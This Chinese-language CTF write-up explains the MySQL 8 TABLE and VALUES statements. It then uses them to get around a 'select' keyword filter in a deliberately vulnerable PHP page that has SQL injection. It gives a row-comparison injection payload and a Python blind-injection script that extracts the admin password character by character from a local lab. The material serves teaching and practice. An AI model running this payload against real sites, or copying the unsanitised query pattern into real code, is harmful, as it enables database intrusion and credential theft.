MySQL8 语法新特性

在MySQL 8.0.19之后,MySQL推出几种新语法

  • TABLE statement - 列出表中全部内容

    TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
    mysql> TABLE user;
    +----+----------+---------+
    | id | username | passwd  |
    +----+----------+---------+
    |  1 | admin    | adminpw |
    |  2 | tom      | tompw   |
    |  3 | kak      | kakpw   |
    +----+----------+---------+
    3 rows in set (0.00 sec)
  • VALUES statement - 列出一行的值

    VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
    
    row_constructor_list:
        ROW(value_list)[, ROW(value_list)][, ...]
    
    value_list:
        value[, value][, ...]
    
    column_designator: 
        column_index
    mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM user;
    +----------+----------+----------+
    | column_0 | column_1 | column_2 |
    +----------+----------+----------+
    |        1 | 2        | 3        |
    |        1 | admin    | adminpw  |
    |        2 | tom      | tompw    |
    |        3 | kak      | kakpw    |
    +----------+----------+----------+
    4 rows in set (0.00 sec)

利用MySQL8新特性绕过select过滤

代码审计

此题目的为获取ADMIN用户的密码

<?php
if (!empty($_GET['showme']))
    highlight_file(__FILE__);

$aaa = mysqli_connect('127.0.0.1', 'root', 'rootroot', 'test');

if (empty($_GET['id']))
    $id = 1;
else
    $id = $_GET['id'];

$clean = strtolower($id);

if (strpos($clean, 'select') !== false) {
    echo 'waf';
    exit();
}

var_dump("select * from news where $id='$id'");
$result = mysqli_query($aaa, "select * from news where id ='$id'");
$row = mysqli_fetch_array($result);
$title = $row['title'];
$content = $row['content'];

echo "<h1>$title</h1><br>";
echo "<h2>$content</h2><br>";

此场景是在禁用堆叠注入并且过滤select的情况下进行绕过注入

解题思路

select * from news where $id='$id'

构造恶意sql语句

select * from news where $id='' or (1,'admin','{passwd}') <= (table user limit 1)#

大神的文章的语句是使用<来构造恶意语句的,**但我个人换成<=**,原因稍后解释,先了解一下这句语句究竟是如何比较的

语句table user limit 1的查询结果如下

+----+----------+---------+
| id | username | passwd  |
+----+----------+---------+
|  1 | admin    | adminpw |
+----+----------+---------+
1 row in set (0.00 sec)

实质上是(id, username, passwd)(1, 'admin', 'adminpw')进行比较,比较顺序为自左向右

两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小

mysql> SELECT (1, '', '') < (TABLE user LIMIT 1);
+-------------------------------------+
| (1, '', '') < (TABLE user LIMIT 1)  |
+-------------------------------------+
|                                   1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (2, '', '') < (TABLE user LIMIT 1);
+-------------------------------------+
| (2, '', '') < (TABLE user LIMIT 1)  |
+-------------------------------------+
|                                   0 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'a', '') < (TABLE user LIMIT 1);
+--------------------------------------+
| (1, 'a', '') < (TABLE user LIMIT 1)  |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'ad', '') < (TABLE user LIMIT 1);
+---------------------------------------+
| (1, 'ad', '') < (TABLE user LIMIT 1)  |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'ae', '') < (TABLE user LIMIT 1);
+---------------------------------------+
| (1, 'ae', '') < (TABLE user LIMIT 1)  |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (0.00 sec)

**解释一下个人为何用<=替换<**,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观

mysql> SELECT (1, 'admin', 'adminp') < (TABLE user LIMIT 1);
+-----------------------------------------------+
| (1, 'admin', 'adminp') < (TABLE user LIMIT 1) |
+-----------------------------------------------+
|                                             1 |
+-----------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'admin', 'adminpw') < (TABLE user LIMIT 1);
+------------------------------------------------+
| (1, 'admin', 'adminpw') < (TABLE user LIMIT 1) |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'admin', 'adminpv') < (TABLE user LIMIT 1);
+------------------------------------------------+
| (1, 'admin', 'adminpv') < (TABLE user LIMIT 1) |
+------------------------------------------------+
|                                              1 |
+------------------------------------------------+
1 row in set (0.00 sec)

解题方法

写一个简单的应对脚本,语句结尾的#一定要写为%23,不然脚本会出错

import requests

url = "http://127.0.0.1/CTFSkill/Mysql/?id="
state = "this is a long text"
flag = ""

while True:
    for i in range(48, 128):

        flag += chr(i)
        payload = "' or (1,'admin','{}')<=(table user limit 1)%23".format(flag)
        full = url + payload
        r1 = requests.post(full)

        if state in r1.content:
            flag = flag[ :-1 ]
        else:
            flag = flag[ :-1 ] + chr(i - 1)
            break
    if flag[ -1 ] == chr(48 - 1):
        flag = flag[ :-1 ]
        print flag
        break

# ADMINPW